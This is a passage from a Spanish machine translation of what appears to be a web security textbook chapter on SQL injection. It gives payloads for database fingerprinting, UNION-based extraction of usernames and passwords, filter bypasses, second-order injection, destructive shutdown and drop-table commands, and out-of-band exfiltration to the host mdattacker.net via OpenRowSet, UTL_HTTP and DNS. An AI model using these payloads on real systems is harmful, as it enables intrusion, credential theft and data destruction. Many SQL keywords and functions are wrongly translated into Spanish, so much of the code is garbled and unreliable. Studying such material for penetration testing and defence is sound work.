parámetro, como reemplazar el nombre de la columna con (seleccione 1 donde
<<condición>> o 1/0=0), aprovechando así las técnicas de inferencia descritas más adelante en este capítulo.
Para las bases de datos que admiten consultas por lotes, como MS-SQL, esta puede ser la
opción más eficaz.
Huella digital de la base de datos

La mayoría de las técnicas descritas hasta ahora son efectivas contra todas las plataformas de
bases de datos comunes, y cualquier divergencia se ha acomodado mediante ajustes menores a
la sintaxis. Sin embargo, a medida que comenzamos a observar técnicas de explotación más
avanzadas, las diferencias entre plataformas se vuelven más significativas y necesitará saber
cada vez más con qué tipo de base de datos back-end está tratando.
Ya ha visto cómo puede extraer la cadena de versión de los principales tipos de bases de
datos. Incluso si esto no se puede hacer por alguna razón, por lo general es posible tomar la
huella dactilar de la base de datos utilizando otros métodos. Uno de los más confiables son los
diferentes medios por los cuales las bases de datos concatenan cadenas. En una consulta en la
que controla algún elemento de datos de cadena, puede proporcionar un valor particular en una
solicitud y luego probar diferentes métodos de concatenación para producir esa cadena.
Cuando se obtienen los mismos resultados, probablemente haya identificado el tipo de base de
datos que se está utilizando. Los siguientes ejemplos muestran cómo se pueden construir los
servicios de cadena en los tipos comunes de base de datos:
n Oracle: 'servicios'||'hielos' n
MS-SQL: 'servicios'+'hielos'
n MySQL: 'serv' 'ices' (tenga en cuenta el espacio)
Si está inyectando datos numéricos, las siguientes cadenas de ataque se pueden usar para
tomar huellas dactilares en la base de datos. Cada uno de estos elementos se evalúa como 0 en
la base de datos de destino y genera un error en las otras bases de datos:
n Oracle: BITAND(1,1)-BITAND(1,1)
n MS-SQL: @@PACK_RECIBIDO-@@PACK_RECIBIDO
n MySQL: CONEXIÓN_ID()-CONEXIÓN_ID()
NOTA Las bases de datos MS-SQL y Sybase comparten un origen común, por lo
que tienen muchas similitudes en relación con la estructura de la tabla, las variables
globales y los procedimientos almacenados. En la práctica, la mayoría de las técnicas
de ataque contra MS-SQL descritas en secciones posteriores funcionarán de forma idéntica contra Sybase.
Otro punto de interés cuando se toman las huellas dactilares de las bases de datos es cómo
MySQL maneja ciertos tipos de comentarios en línea. Si un comentario comienza con un signo de
exclamación seguido de una cadena de versión de la base de datos, el contenido del comentario
se interpreta como SQL real, siempre que la versión de la base de datos real sea igual o posterior
a esa cadena. De lo contrario, los contenidos se ignoran y se tratan como un comentario. Los
programadores pueden usar esta función de manera muy similar a las directivas de
preprocesamiento en C, lo que les permite escribir código diferente que se procesará.
condicionalmente a la versión de la base de datos que se utilice. Un atacante también puede usar
esta función para tomar huellas dactilares de la versión exacta de la base de datos. Por ejemplo,
inyectar la siguiente cadena hace que la cláusula WHERE de una declaración SELECT sea falsa si
la versión de MySQL en uso es mayor o igual a 3.23.02:
/*!32302 y 1=0*/
El operador de la UNIÓN
El operador UNION se usa en SQL para combinar los resultados de dos o más instrucciones SELECT
en un único conjunto de resultados. Cuando una aplicación web contiene una vulnerabilidad de
inyección SQL que ocurre en una declaración SELECT , a menudo puede emplear el operador
UNION para realizar una segunda consulta completamente separada y combinar sus resultados con
los de la primera. Si los resultados de la consulta se devuelven a su navegador, esta técnica se
puede utilizar para extraer fácilmente datos arbitrarios de la base de datos. UNION es compatible
con todos los principales productos DBMS. Es la forma más rápida de recuperar información arbitraria
de la base de datos en situaciones en las que los resultados de la consulta se devuelven directamente.
Recuerde la aplicación que permitía a los usuarios buscar libros según el autor,
el título, la editorial y otros criterios. La búsqueda de libros publicados por Wiley
hace que la aplicación realice la siguiente consulta:
SELECCIONE autor, título, año DESDE libros DONDE editor = 'Wiley'
Supongamos que esta consulta devuelve el siguiente conjunto de resultados:
AUTOR TÍTULO AÑO
campo de litchfield El manual del pirata informático de la base de datos 2005
Anley El manual del Shellcoder 2007
Anteriormente vio cómo un atacante podría proporcionar información manipulada a la función de

búsqueda para subvertir la cláusula WHERE de la consulta y, por lo tanto, devolver todos los libros
contenidos en la base de datos. Un ataque mucho más interesante sería usar el operador UNION
para inyectar una segunda consulta SELECT y agregar sus resultados a los de la primera. Esta
segunda consulta puede extraer datos de una tabla de base de datos diferente.
Por ejemplo, ingresando el término de búsqueda:
Wiley' UNION SELECT nombre de usuario, contraseña, uid DE usuarios--
hace que la aplicación realice la siguiente consulta:
SELECCIONE autor, título, año DESDE libros DONDE editor = 'Wiley'

UNION SELECT nombre de usuario, contraseña, uid DE usuarios--'
Esto devuelve los resultados de la búsqueda original seguidos del contenido de la

tabla de usuarios:
AUTOR TÍTULO AÑO
campo de litchfield El manual del pirata informático de la base de datos 2005
Anley El manual del Shellcoder 2007
administración r00tr0x 0
acantilado Reiniciar 1
NOTA Cuando los resultados de dos o más consultas SELECT se combinan mediante el
operador UNION, los nombres de las columnas del conjunto de resultados combinado son
los mismos que los devueltos por la primera consulta SELECT. Como se muestra en la tabla
anterior, los nombres de usuario aparecen en la columna del autor y las contraseñas
aparecen en la columna del título. Esto significa que cuando la aplicación procesa los
resultados de la consulta modificada, no tiene forma de detectar que los datos devueltos se
originaron en una tabla diferente.
Este sencillo ejemplo demuestra el poder potencialmente enorme del operador UNION cuando
se emplea en un ataque de inyección SQL. Sin embargo, antes de que pueda explotarse de esta
manera, se deben considerar dos condiciones importantes:
n Cuando los resultados de dos consultas se combinan mediante el operador UNION , los
dos conjuntos de resultados deben tener la misma estructura. En otras palabras, deben
contener el mismo número de columnas, que tengan tipos de datos iguales o compatibles,
apareciendo en el mismo orden.
n Para inyectar una segunda consulta que arrojará resultados interesantes, el atacante
necesita saber el nombre de la tabla de la base de datos a la que quiere apuntar y los
nombres de sus columnas relevantes.
Profundicemos un poco más en la primera de estas condiciones. Suponga que el atacante

intenta inyectar una segunda consulta que devuelve un número incorrecto de columnas.
Él proporciona esta entrada:
Wiley' UNION SELECT nombre de usuario, contraseña DE usuarios--
La consulta original devuelve tres columnas y la consulta inyectada devuelve

solo dos columnas. Por lo tanto, la base de datos devuelve el siguiente error:
ORA-01789: el bloque de consulta tiene un número incorrecto de columnas de resultados
Supongamos en cambio que el atacante intenta inyectar una segunda consulta cuyo
las columnas tienen tipos de datos incompatibles. Él proporciona esta entrada:
Wiley' UNION SELECT uid, nombre de usuario, contraseña DE usuarios--

Esto hace que la base de datos intente combinar la columna de contraseña de la

segunda consulta (que contiene datos de cadena) con la columna de año de la primera
consulta (que contiene datos numéricos). Debido a que los datos de cadena no se pueden
convertir en datos numéricos, esto provoca un error:
ORA-01790: la expresión debe tener el mismo tipo de datos que la expresión correspondiente
NOTA Los mensajes de error que se muestran aquí son para Oracle. Los
mensajes equivalentes para otras bases de datos se enumeran en la sección posterior
"Referencia de errores y sintaxis de SQL".
En muchos casos del mundo real, la aplicación detecta los mensajes de error de la base
de datos que se muestran y no se devuelven al navegador del usuario. Puede parecer, por lo
tanto, que al intentar descubrir la estructura de la primera consulta, se limita a puras
conjeturas. Sin embargo, éste no es el caso. Tres puntos importantes significan que su tarea
suele ser fácil:
n Para que la consulta inyectada pueda combinarse con la primera, no es estrictamente

necesario que contenga los mismos tipos de datos. Más bien, deben ser compatibles.
En otras palabras, cada tipo de datos en la segunda consulta debe ser idéntico al tipo
correspondiente en la primera o ser implícitamente convertible a él. Ya ha visto que
las bases de datos convierten implícitamente un valor numérico en un valor de cadena.
De hecho, el valor NULL se puede convertir a cualquier tipo de datos. Por lo tanto, si
no conoce el tipo de datos de un campo en particular, simplemente puede
SELECCIONAR NULL para ese campo.
n En los casos en que la aplicación atrapa mensajes de error de la base de datos, puede
determinar fácilmente si se ejecutó la consulta inyectada. Si lo fue, se agregan
resultados adicionales a los devueltos por la aplicación de su consulta original. Esto le
permite trabajar sistemáticamente hasta que descubra la estructura de la consulta que
necesita inyectar.
n En la mayoría de los casos, puede lograr sus objetivos simplemente identificando un
solo campo dentro de la consulta original que tiene un tipo de datos de cadena. Esto
es suficiente para inyectar consultas arbitrarias que devuelven datos basados en
cadenas y recuperar los resultados, lo que le permite extraer sistemáticamente
cualquier dato deseado de la base de datos.
PASOS DE HACK
Su primera tarea es descubrir el número de columnas devueltas por la consulta original

que está ejecutando la aplicación. Puede hacer esto de dos maneras:
1. Puede aprovechar el hecho de que NULL se puede convertir a cualquier tipo de datos para
inyectar sistemáticamente consultas con diferentes números de columnas hasta que
se ejecute la consulta inyectada. Por ejemplo:
' UNION SELECT NULL--
' UNION SELECT NULL, NULL--

' UNION SELECT NULL, NULL, NULL--
Cuando se ejecuta su consulta, ha determinado el número de columnas

requeridas. Si la aplicación no devuelve mensajes de error de la base de datos,
aún puede saber cuándo su consulta inyectada fue exitosa. Se devolverá una
fila adicional de datos, que contiene la palabra NULL o una cadena vacía. Tenga
en cuenta que la fila inyectada puede contener solo celdas de tabla vacías y, por
lo tanto, puede ser difícil de ver cuando se representa como HTML. Por esta
razón, es preferible observar la respuesta en bruto al realizar este ataque.
2. Habiendo identificado el número requerido de columnas, su próxima tarea es
descubrir una columna que tenga un tipo de datos de cadena para que pueda
usarla para extraer datos arbitrarios de la base de datos. Puede hacer esto
inyectando una consulta que contenga NULL, como lo hizo anteriormente, y
reemplazando sistemáticamente cada NULL con a. Por ejemplo, si sabe que la
consulta debe devolver tres columnas, puede inyectar lo siguiente:
' UNION SELECT 'a', NULL, NULL--

' UNION SELECT NULL, 'a', NULL--
' UNION SELECT NULL, NULL, 'a'--
Cuando se ejecuta su consulta, ve una fila adicional de datos que contiene el valor
a. A continuación, puede utilizar la columna correspondiente para extraer datos de la base de datos.
NOTA En las bases de datos de Oracle, cada declaración SELECT debe incluir un
atributo FROM, por lo que inyectar UNION SELECT NULL produce un error
independientemente del número de columnas. Puede satisfacer este requisito
seleccionando DUAL de la tabla accesible globalmente. Por ejemplo:
' UNION SELECT NULL DE DUAL--
Cuando haya identificado el número de columnas requeridas en su consulta inyectada y haya

encontrado una columna que tenga un tipo de datos de cadena, estará en condiciones de extraer datos
arbitrarios. Una prueba simple de prueba de concepto es extraer la cadena de versión de la base de
datos, lo que se puede hacer en cualquier DBMS. Por ejemplo, si hay tres columnas y la primera columna
puede tomar datos de cadena, puede extraer la versión de la base de datos inyectando la siguiente
consulta en MS-SQL y MySQL:
' UNION SELECT @@version,NULL,NULL--
Inyectar la siguiente consulta logra el mismo resultado en Oracle:
' UNION SELECT banner,NULL,NULL FROM v$version--
En el ejemplo de la aplicación de búsqueda de libros vulnerables, podemos usar este

cadena como término de búsqueda para recuperar la versión de la base de datos de Oracle:
AUTOR TÍTULO AÑO
NÚCLEO 9.2.0.1.0 Producción
NLSRTL Versión 9.2.0.1.0 - Producción
Versión 9.2.0.1.0 de Oracle9i Enterprise Edition - Producción
PL/SQL Versión 9.2.0.1.0 - Producción
TNS para Windows de 32 bits: Versión 9.2.0.1.0 - Producción
Por supuesto, aunque la cadena de versión de la base de datos puede ser interesante y
puede permitirle investigar vulnerabilidades con el software específico que se utiliza, en la
mayoría de los casos estará más interesado en extraer datos reales de la base de datos.
Para hacer esto, generalmente debe abordar la segunda condición descrita anteriormente.
Es decir, necesita saber el nombre de la tabla de la base de datos a la que desea apuntar y
los nombres de sus columnas relevantes.
Extracción de datos útiles

Para extraer datos útiles de la base de datos, normalmente necesita conocer los nombres
de las tablas y columnas que contienen los datos a los que desea acceder. Los DBMS
empresariales principales contienen una gran cantidad de metadatos de bases de datos
que puede consultar para descubrir los nombres de cada tabla y columna dentro de la base de datos.
La metodología para extraer datos útiles es la misma en cada caso; sin embargo, los
detalles difieren en diferentes plataformas de bases de datos.
Extracción de datos con UNION

Veamos un ataque realizado contra una base de datos MS-SQL, pero usemos una
metodología que funcione en todas las tecnologías de base de datos. Considere una
aplicación de libreta de direcciones que permita a los usuarios mantener una lista de
contactos y consultar y actualizar sus detalles. Cuando un usuario busca en su libreta de
direcciones un contacto llamado Matthew, su navegador publica el siguiente parámetro:
Nombre = Mateo
y la aplicación devuelve los siguientes resultados:
NOMBRE EMAIL
mateo adamson [email protected]

¡INTENTALO!
Primero, necesitamos determinar el número requerido de columnas. La prueba de una

sola columna da como resultado un mensaje de error:
Nombre=Mateo'%20union%20select%20null--
Todas las consultas combinadas con un operador UNION, INTERSECT o EXCEPT deben
tienen el mismo número de expresiones en sus listas de destino.
Agregamos un segundo NULL y ocurre el mismo error. Entonces continuamos agregando valores
NULL hasta que se ejecute nuestra consulta, generando un elemento adicional en la tabla de resultados:
Nombre=Matthew'%20union%20select%20null,null,null,null,null--
NOMBRE EMAIL
[vacío] [vacío]
Ahora verificamos que la primera columna de la consulta contiene datos de cadena:
Nombre=Matthew'%20union%20select%20'a',null,null,null,null--
NOMBRE EMAIL
El siguiente paso es averiguar los nombres de las tablas y columnas de la base de datos
que pueden contener información interesante. Podemos hacer esto consultando la tabla de
metadatos information_schema.columns, que contiene detalles de todas las tablas y nombres
de columnas dentro de la base de datos. Estos se pueden recuperar con esta consulta:
Nombre=Matthew'%20union%20select%20table_name,column_name,null,null,
null%20from%20information_schema.columns--
NOMBRE EMAIL
comprar_artículos precio
comprar_artículos prodigado
comprar_artículos nombre de producto
libro_dirección Email de contacto
libro_dirección nombre de contacto
usuarios nombre de usuario
usuarios clave
Aquí, la tabla de usuarios es un lugar obvio para comenzar a extraer datos. Pudimos
extraiga datos de la tabla de usuarios usando esta consulta:
Nombre=Matthew'%20UNION%20select%20username,password,null,null,null%20 from%20users--
NOMBRE EMAIL
administrador fme69
desarrollador súper
marcus 8pintos
Herrero dos sesenta
jlo 6k abajo
SUGERENCIA El esquema de información es compatible con MS-SQL, MySQL y muchas

otras bases de datos, incluidas SQLite y Postgresql. Está diseñado para contener metadatos
de bases de datos, lo que lo convierte en un objetivo principal para los atacantes que
desean examinar la base de datos. Tenga en cuenta que Oracle no admite este esquema. Al
apuntar a una base de datos de Oracle, el ataque sería idéntico en todos los demás aspectos.
Sin embargo, usaría la consulta SELECT table_name,column_name FROM all_tab_ columns
para recuperar información sobre tablas y columnas en la base de datos.
(Utilizaría la tabla user_tab_columns para concentrarse solo en la base de datos actual). Al
analizar grandes bases de datos en busca de puntos de ataque, generalmente es mejor buscar
directamente nombres de columna interesantes en lugar de tablas. Por ejemplo:
SELECCIONE table_name,column_name FROM information_schema.columns donde

nombre_columna COMO '%PASS%'
SUGERENCIA Cuando se devuelven varias columnas de una tabla de destino,

se pueden concatenar en una sola columna. Esto hace que la recuperación sea
más sencilla, porque requiere la identificación de un solo campo varchar en el archivo original.
consulta:
n Oracle: SELECCIONE nombre_tabla||':'||nombre_columna DESDE

all_tab_columns
n MS-SQL: SELECCIONE table_name+':'+column_name from information_

esquema.columnas
n MySQL: SELECCIONE CONCAT(nombre_tabla,':',nombre_columna) de

esquema_información.columnas
Omitir filtros
En algunas situaciones, una aplicación que es vulnerable a la inyección SQL puede
implementar varios filtros de entrada que le impiden explotar la falla sin restricciones.
Por ejemplo, la aplicación puede eliminar o desinfectar ciertos caracteres o puede
bloquear palabras clave comunes de SQL. Los filtros de este tipo a menudo son
vulnerables a los desvíos, por lo que debe probar numerosos trucos en esta situación.
Evitar caracteres bloqueados

Si la aplicación elimina o codifica algunos caracteres que se usan a menudo en los
ataques de inyección SQL, es posible que aún pueda realizar un ataque sin estos: n Las
comillas simples no son necesarias si está inyectando en un campo de datos

numéricos o en un nombre de columna. . Si necesita introducir una cadena en la
carga útil de su ataque, puede hacerlo sin necesidad de comillas. Puede usar
varias funciones de cadena para construir dinámicamente una cadena usando los
códigos ASCII para caracteres individuales. Por ejemplo, las siguientes dos
consultas para Oracle y MS-SQL, respectivamente, son el equivalente de select ename,
sal de emp donde ename='marcus':
SELECCIONE ename, sal FROM emp donde ename=CHR(109)||CHR(97)||

CDH(114)||CHR(99)||CHR(117)||CHR(115)
SELECCIONE nombre, sal DESDE emp DONDE nombre=CHAR(109)+CHAR(97)

+CARÁCTER(114)+CARÁCTER(99)+CARÁCTER(117)+CARÁCTER(115)
n Si el símbolo de comentario está bloqueado, a menudo puede diseñar sus datos

inyectados de modo que no rompa la sintaxis de la consulta circundante, incluso
sin usar esto. Por ejemplo, en lugar de inyectar:
' o 1=1--
puedes inyectar:
' o 'a'='a
n Al intentar inyectar consultas por lotes en una base de datos MS-SQL, no

es necesario que utilice el punto y coma. Siempre que corrija la sintaxis de
todas las consultas en el lote, el analizador de consultas las interpretará
correctamente, ya sea que incluya o no un punto y coma.
¡INTENTALO!
http://mdsec.net/addressbook/71/ http://mdsec.net/
addressbook/76/
Eludir la validación simple

Algunas rutinas de validación de entrada emplean una lista negra simple y bloquean o
eliminan los datos proporcionados que aparecen en esta lista. En este caso, debe probar
los ataques estándar, buscando defectos comunes en los mecanismos de validación y
canonicalización, como se describe en el Capítulo 2. Por ejemplo, si la palabra clave
SELECT está siendo bloqueada o eliminada, puede intentar los siguientes bypasses:
Seleccione
%00SELECCIONAR
SELECCIONAR
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
¡INTENTALO!
http://mdsec.net/addressbook/58/ http://mdsec.net/
addressbook/62/
Uso de comentarios de SQL

Puede insertar comentarios en línea en declaraciones SQL de la misma manera que para
C++, incrustándolos entre los símbolos /* y */. Si la aplicación bloquea o elimina espacios de
su entrada, puede usar comentarios para simular espacios en blanco dentro de sus datos
inyectados. Por ejemplo:
SELECCIONE/*foo*/nombre de usuario,contraseña/*foo*/FROM/*foo*/usuarios
En MySQL, los comentarios pueden incluso insertarse dentro de las propias palabras
clave, lo que proporciona otro medio para eludir algunos filtros de validación de entrada y,
al mismo tiempo, conservar la sintaxis de la consulta real. Por ejemplo:
SEL/*foo*/ECT nombre de usuario, contraseña FR/*foo*/OM usuarios

Explotación de filtros defectuosos
Las rutinas de validación de entrada a menudo contienen fallas lógicas que puede explotar para
pasar de contrabando la entrada bloqueada más allá del filtro. Estos ataques a menudo explotan el
orden de múltiples pasos de validación o la falla en la aplicación recursiva de la lógica de
sanitización. Algunos ataques de este tipo se describen en el Capítulo 11.
¡INTENTALO!
Inyección SQL de segundo orden Un tipo
particularmente interesante de omisión de filtro surge en relación con la inyección SQL de segundo
orden . Muchas aplicaciones manejan los datos de forma segura cuando se insertan por primera
vez en la base de datos. Una vez que los datos se almacenan en la base de datos, es posible que
luego se procesen de manera insegura, ya sea por la propia aplicación o por otros procesos de back-end.
Muchos de estos no son de la misma calidad que la aplicación principal orientada a Internet,
pero tienen cuentas de base de datos con muchos privilegios.
En algunas aplicaciones, la entrada del usuario se valida al llegar escapando una comilla
simple. En el ejemplo original de búsqueda de libros, este enfoque parece ser efectivo. Cuando
el usuario ingresa el término de búsqueda O'Reilly, la aplicación realiza la siguiente consulta:
SELECCIONE autor, título, año DESDE libros DONDE editor = 'O''Reilly'
Aquí, las comillas simples proporcionadas por el usuario se han convertido en dos comillas
simples. Por lo tanto, el elemento pasado a la base de datos tiene el mismo significado literal
que la expresión original que ingresó el usuario.
Un problema con el enfoque de duplicación surge en situaciones más complejas en las
que el mismo elemento de datos pasa por varias consultas SQL, se escribe en la base de
datos y luego se vuelve a leer más de una vez. Este es un ejemplo de las deficiencias de la
validación de entrada simple en comparación con la validación de límites, como se describe
en el Capítulo 2.
Recuerde la aplicación que permitía a los usuarios registrarse automáticamente y
contenía un error de inyección SQL en una declaración INSERT . Suponga que los
desarrolladores intentan corregir la vulnerabilidad duplicando las comillas simples que
aparecen en los datos del usuario. Intentar registrar el nombre de usuario foo' da como
resultado la siguiente consulta, que no causa problemas a la base de datos:
INSERTAR EN usuarios (nombre de usuario, contraseña, ID, privilegios) VALORES ('foo''',

'secreto', 2248, 1)
Hasta ahora tan bueno. Sin embargo, suponga que la aplicación también implementa una
función de cambio de contraseña. Solo los usuarios autenticados pueden acceder a esta
función, pero para mayor protección, la aplicación requiere que los usuarios envíen su
contraseña anterior. Luego verifica que esto sea correcto recuperando la contraseña actual
del usuario de la base de datos y comparando las dos cadenas. Para hacer esto, primero
recupera el nombre de usuario del usuario de la base de datos y luego construye la siguiente
consulta:
SELECCIONE la contraseña DE los usuarios DONDE nombre de usuario = 'foo'
Debido a que el nombre de usuario almacenado en la base de datos es la cadena

literal foo', este es el valor que devuelve la base de datos cuando se consulta este
valor. La secuencia de escape duplicada se usa solo en el punto donde las cadenas
se pasan a la base de datos. Por lo tanto, cuando la aplicación reutiliza esta cadena y
la incrusta en una segunda consulta, surge una falla de inyección SQL y la entrada
incorrecta original del usuario se incrusta directamente en la consulta. Cuando el
usuario intenta cambiar la contraseña, la aplicación devuelve el siguiente mensaje, que revela la falla:
Comillas no cerradas antes de la cadena de caracteres 'foo
Para aprovechar esta vulnerabilidad, un atacante puede simplemente registrar un nombre

de usuario que contenga su entrada manipulada y luego intentar cambiar su contraseña. Por
ejemplo, si el siguiente nombre de usuario está registrado:
' o 1 en (seleccione la contraseña de los usuarios donde nombre de usuario = 'admin')--
el paso de registro en sí se manejará de forma segura. Cuando el atacante intente cambiar

su contraseña, se ejecutará su consulta inyectada, lo que dará como resultado el siguiente
mensaje, que revela la contraseña del usuario administrador:
Proveedor Microsoft OLE DB para el error de controladores ODBC '80040e07'
[Microsoft][Controlador ODBC para SQL Server][SQL Server]Error de sintaxis al convertir el valor varchar 'fme69'
en una columna de tipo de datos int.
El atacante ha omitido con éxito la validación de entrada que fue diseñada para bloquear
los ataques de inyección SQL. Ahora tiene una forma de ejecutar consultas arbitrarias dentro
de la base de datos y recuperar los resultados.
¡INTENTALO!
Explotación avanzada Todos los
ataques descritos hasta ahora tenían un medio listo para recuperar cualquier dato útil que
se extrajo de la base de datos, como realizar un ataque UNION o devolver datos en un
mensaje de error. Como conocimiento de la inyección de SQL
amenazas ha evolucionado, este tipo de situación se ha vuelto gradualmente menos común.

Cada vez es más frecuente que las fallas de inyección de SQL que encuentre se den en
situaciones en las que recuperar los resultados de sus consultas inyectadas no sea sencillo.
Veremos varias formas en las que puede surgir este problema y cómo puede solucionarlo.
NOTA Los propietarios de aplicaciones deben saber que no todos los atacantes
están interesados en robar datos confidenciales. Algunos pueden ser más
destructivos. Por ejemplo, al proporcionar solo 12 caracteres de entrada, un atacante
podría desactivar una base de datos MS-SQL con el comando de apagado:
' cerrar--
Un atacante también podría inyectar comandos maliciosos para eliminar tablas individuales
con comandos como estos:
'usuarios de la tabla desplegable--

'cuentas de tabla desplegable--
'clientes de la mesa desplegable--
Recuperación de datos como números
Es bastante común encontrar que ningún campo de cadena dentro de una aplicación es
vulnerable a la inyección SQL, porque la entrada que contiene comillas simples se maneja
correctamente. Sin embargo, aún pueden existir vulnerabilidades dentro de los campos de
datos numéricos, donde la entrada del usuario no está encapsulada entre comillas simples. A
menudo, en estas situaciones, la única forma de recuperar los resultados de sus consultas
inyectadas es a través de una respuesta numérica de la aplicación.
En esta situación, su desafío es procesar los resultados de sus consultas inyectadas de tal
manera que se puedan recuperar datos significativos en forma numérica.
Aquí se pueden utilizar dos funciones clave:
n ASCII, que devuelve el código ASCII del carácter de entrada n

SUBSTRING (o SUBSTR en Oracle), que devuelve una subcadena de su entrada
Estas funciones se pueden usar juntas para extraer un solo carácter de un

cadena en forma numérica. Por ejemplo:
SUBSTRING('Admin',1,1) devuelve A.
ASCII('A') devuelve 65.
Por lo tanto:
ASCII(SUBSTR('Admin',1,1)) devuelve 65.
Usando estas dos funciones, puede dividir sistemáticamente una cadena de datos útiles en
sus caracteres individuales y devolver cada uno de ellos por separado, en forma numérica .
En un ataque programado, esta técnica se puede utilizar para recuperar y reconstruir
rápidamente una gran cantidad de datos basados en cadenas, un byte a la vez.
SUGERENCIA Existen numerosas variaciones sutiles en la forma en que las

diferentes plataformas de bases de datos manejan la manipulación de cadenas
y el cálculo numérico, que es posible que deba tener en cuenta al realizar ataques
avanzados de este tipo. Puede encontrar una excelente guía sobre estas
diferencias que cubre muchas bases de datos diferentes en http://sqlzoo.net/howto/source/z.dir/i08fun.xml.
En una variación de esta situación, los autores han encontrado casos en los que lo que devuelve
la aplicación no es un número real, sino un recurso para el cual ese número es un identificador. La
aplicación realiza una consulta SQL basada en la entrada del usuario, obtiene un identificador
numérico para un documento y luego devuelve el contenido del documento al usuario. En esta
situación, un atacante puede obtener primero una copia de cada documento cuyos identificadores
estén dentro del rango numérico relevante y construir una asignación del contenido del documento
a los identificadores. Luego, al realizar el ataque descrito anteriormente, el atacante puede consultar
este mapa para determinar el identifi cador de cada documento recibido de la aplicación y así
recuperar el valor ASCII del carácter que ha extraído con éxito.
Uso de un canal fuera de banda

En muchos casos de inyección SQL, la aplicación no devuelve los resultados de ninguna consulta
inyectada al navegador del usuario, ni devuelve ningún mensaje de error generado por la base de
datos. En esta situación, puede parecer que su posición es inútil. Incluso si existe una falla de
inyección SQL, seguramente no se puede explotar para extraer datos arbitrarios o realizar cualquier
otra acción. Sin embargo, esta apariencia es falsa.
Puede probar varias técnicas para recuperar datos y verificar que otras acciones maliciosas hayan
tenido éxito.
Hay muchas circunstancias en las que puede inyectar una consulta arbitraria pero no
recuperar sus resultados. Recuerde el ejemplo del formulario de inicio de sesión vulnerable,
donde los campos de nombre de usuario y contraseña son vulnerables a la inyección SQL:
Además de modificar la lógica de la consulta para omitir el inicio de sesión, puede inyectar una
subconsulta completamente separada mediante la concatenación de cadenas para unir sus
resultados con el elemento que controla. Por ejemplo:
foo' || (SELECCIONE 1 DESDE dual DONDE (SELECCIONE nombre de usuario DESDE all_users DONDE
nombre de usuario = 'DBSNMP') = 'DBSNMP')--
SELECCIONE * DE usuarios DONDE nombre de usuario = 'foo' || (SELECCIONE 1 DE dual DONDE

(SELECCIONE el nombre de usuario DE all_users DONDE nombre de usuario = 'DBSNMP') = 'DBSNMP')
La base de datos ejecuta su subconsulta arbitraria, agrega sus resultados a foo y

luego busca los detalles del nombre de usuario resultante. Por supuesto, el inicio de
sesión fallará, pero su consulta inyectada se habrá ejecutado. Todo lo que recibirá en
la respuesta de la aplicación es el mensaje estándar de falla de inicio de sesión. Lo
que necesita es una forma de recuperar los resultados de su consulta inyectada.
Surge una situación diferente cuando puede emplear consultas por lotes en bases de datos
MS-SQL . Las consultas por lotes son extremadamente útiles porque le permiten ejecutar una
declaración completamente separada sobre la que tiene control total, utilizando un verbo SQL
diferente y apuntando a una tabla diferente. Sin embargo, debido a cómo se realizan las
consultas por lotes , los resultados de una consulta inyectada no se pueden recuperar directamente.
Nuevamente, necesita un medio para recuperar los resultados perdidos de su consulta inyectada.
Un método para recuperar datos que suele ser eficaz en esta situación es utilizar un canal fuera de
banda. Habiendo logrado la capacidad de ejecutar declaraciones SQL arbitrarias dentro de la base de
datos, a menudo es posible aprovechar algunas de las funciones integradas de la base de datos para
crear una conexión de red a su propia computadora, a través de la cual puede transmitir datos arbitrarios
que ha recopilado de la base de datos.
Los medios para crear una conexión de red adecuada dependen en gran medida de la base de datos.
Los diferentes métodos pueden o no estar disponibles según el nivel de privilegio del usuario de la base
de datos con el que la aplicación accede a la base de datos.
A continuación se describen algunas de las técnicas más comunes y eficaces para cada tipo de base de
datos.
MS-SQL
En bases de datos más antiguas como MS-SQL 2000 y anteriores, el comando OpenRowSet
se puede usar para abrir una conexión a una base de datos externa e insertar datos
arbitrarios en ella. Por ejemplo, la siguiente consulta hace que la base de datos de destino
abra una conexión con la base de datos del atacante e inserte la cadena de versión de la
base de datos de destino en la tabla llamada foo:
insertar en openrowset('SQLOLEDB', 'DRIVER={SQL

Server};SERVER=mdattacker.net,80;UID=sa;PWD=letmein', 'select * from foo') valores (@@version)
Tenga en cuenta que puede especificar el puerto 80, o cualquier otro valor probable, para aumentar su
posibilidad de hacer una conexión saliente a través de cualquier cortafuegos.
Oráculo
Oracle contiene una gran cantidad de funciones predeterminadas a las que pueden acceder los usuarios
con pocos privilegios y que se pueden utilizar para crear una conexión fuera de banda.
El paquete UTL_HTTP se puede utilizar para realizar solicitudes HTTP arbitrarias a
otros hosts. UTL_HTTP contiene una rica funcionalidad y admite servidores proxy,
cookies, redireccionamientos y autenticación. Esto significa que un atacante que ha comprometido
una base de datos en una red corporativa interna altamente restringida puede
aprovechar un proxy corporativo para iniciar conexiones salientes a Internet.
En el siguiente ejemplo, se utiliza UTL_HTTP para transmitir los resultados de una
consulta inyectada a un servidor controlado por el atacante:
/employees.asp?EmpNo=7521'||UTL_HTTP.request('mdattacker.net:80/'||
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
Esta URL hace que UTL_HTTP realice una solicitud GET para una URL que contenga el primer
nombre de usuario en la tabla all_users. El atacante simplemente puede configurar un oyente netcat
en mdattacker.net para recibir el resultado:
C:\>nc-nLp 80
OBTENER /SYS HTTP/1.1
Anfitrión: mdattacker.net
Conexión: cerrar
El paquete UTL_INADDR está diseñado para usarse para resolver nombres de host en
direcciones IP. Puede usarse para generar consultas DNS arbitrarias a un servidor controlado
por el atacante. En muchas situaciones, es más probable que esto tenga éxito que el ataque
UTL_HTTP , porque el tráfico DNS a menudo se permite a través de los cortafuegos
corporativos incluso cuando el tráfico HTTP está restringido. El atacante puede aprovechar
este paquete para realizar una búsqueda en un nombre de host de su elección, recuperando
efectivamente datos arbitrarios anteponiéndolos como un subdominio a un nombre de dominio que controla.
Por ejemplo:
/employees.asp?EmpNo=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%
20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'.mdattacker.net')
Esto da como resultado una consulta DNS al servidor de nombres mdattacker.net que contiene el
hash de la contraseña del usuario SYS :
DCB748A5BC5390F2.mdattacker.net
El paquete UTL_SMTP se puede utilizar para enviar correos electrónicos. Esta función se puede
utilizar para recuperar grandes volúmenes de datos capturados de la base de datos enviándolos en
correos electrónicos salientes.
El paquete UTL_TCP se puede usar para abrir sockets TCP arbitrarios para enviar y recibir datos
de red.
NOTA En Oracle 11g, una ACL adicional protege muchos de los recursos que se acaban
